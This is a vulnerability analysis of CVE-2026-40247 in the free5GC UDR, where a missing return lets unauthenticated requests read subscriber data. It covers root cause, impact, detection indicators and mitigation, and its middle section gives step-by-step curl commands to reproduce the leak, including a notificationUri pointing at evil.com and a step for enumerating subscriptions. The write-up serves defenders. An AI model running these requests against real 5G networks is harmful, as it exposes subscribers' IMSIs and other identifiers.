CVE-2026-40247: 
vulnerability analysis and mitigation

CVE-2026-40247 is an improper path validation vulnerability in the free5GC UDR (Unified Data Repository) service that allows unauthenticated attackers to read arbitrary Traffic Influence Subscriptions. It affects free5GC versions 4.2.1 and below (Go module github.com/free5gc/udr <= 1.4.2). The vulnerability was published on April 14, 2026, by researcher Alonza0314, with NVD publication on April 16, 2026. It carries a CVSS v3.1 score of 7.5 (High) and a CVSS v4.0 score of 8.7 (High) (GitHub Advisory, free5gc Advisory).

The root cause is a missing return statement in the HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet function within NFs/udr/internal/sbi/api_datarepository.go. The handler checks whether the influenceId path segment equals subs-to-notify and sends an HTTP 404 response if it does not, but fails to halt execution — classified as CWE-285 (Improper Authorization) and CWE-636 (Not Failing Securely / Failing Open). As a result, the processor continues to call ApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetProcedure(), which retrieves and returns the full subscription object appended to the 404 response body. Exploitation requires no authentication — only a valid subscriptionId and network access to the 5G Service Based Interface (SBI). A public proof-of-concept using curl commands is included in the official advisory (free5gc Advisory).

Successful exploitation results in unauthenticated disclosure of sensitive subscriber data from Traffic Influence Subscription objects, including SUPIs/IMSIs (subscriber identifiers), DNNs (Data Network Names), S-NSSAIs (network slice identifiers), and callback notification URIs. Any free5GC deployment where the SBI is reachable by untrusted parties — due to misconfigured network segmentation, a rogue Network Function, or a compromised internal host — is at risk. There is no integrity or availability impact, but the confidentiality breach could facilitate subscriber tracking, targeted attacks, or abuse of exposed callback URIs (free5gc Advisory, GitHub Advisory).

A public proof-of-concept exploit consisting of concrete curl commands is available in the official free5GC security advisory, demonstrating full reproduction of the vulnerability without authentication (free5gc Advisory). There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.043% (13th percentile), indicating a currently low probability of active exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

1. Reconnaissance: Identify free5GC UDR instances with the SBI exposed on the network (default HTTP port 80 or configured port). Confirm the target is running free5GC version 4.2.1 or below.
2. Obtain a valid subscriptionId: Send an unauthenticated POST request to create a Traffic Influence Subscription and capture the subscriptionId from the Location header in the 201 response:

curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \
  -H "Content-Type: application/json" \
  -d '{"notificationUri":"http://evil.com/notify","dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"]}'

3. Exploit the missing return: Send a GET request using any arbitrary value for influenceId (e.g., WRONGID) with the captured subscriptionId:

curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/<subscriptionId>"

4. Extract sensitive data: Parse the HTTP response body, which contains the full subscription JSON object (including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback URIs) appended after the 404 page not found text, despite the 404 status code.
5. Enumerate subscriptions: Repeat step 3 with guessed or enumerated subscriptionId values to harvest additional subscriber records (free5gc Advisory).

• Network: Unexpected GET requests to /nudr-dr/v2/application-data/influenceData/<non-subs-to-notify-value>/<subscriptionId> from untrusted or external IP addresses; POST requests to /nudr-dr/v2/application-data/influenceData/subs-to-notify from unknown sources used to enumerate valid subscription IDs.
• Logs: UDR access logs showing HTTP 404 responses to GET /nudr-dr/v2/application-data/influenceData/ endpoints where the influenceId path segment is not subs-to-notify, particularly with non-zero response body sizes indicating data leakage; repeated requests with varying subscriptionId values suggesting enumeration.
• Application Behavior: HTTP responses with status 404 but non-empty JSON bodies containing subscriber fields (supis, dnns, snssais, notificationUri) in UDR service logs (free5gc Advisory).

The fix requires adding a return statement after the 404 response in NFs/udr/internal/sbi/api_datarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet. The patch has been confirmed by the free5GC project but no patched release version was available at the time of publication — operators should monitor the free5GC repository for an updated release and apply it immediately when available. As interim mitigations: restrict network access to the 5G SBI to authorized Network Functions only using firewall rules or network segmentation; monitor UDR API endpoints for anomalous access patterns; and avoid exposing the SBI to untrusted network segments (free5gc Advisory, GitHub Advisory).

The vulnerability was reported by researchers Giancannella and FrancescoDAlterio and published by Alonza0314 via the free5GC GitHub security advisory process on April 14, 2026. A Bluesky post referencing the CVE was observed shortly after disclosure, indicating some community awareness. No major vendor statements, media coverage, or notable researcher commentary beyond the official advisory have been identified (free5gc Advisory).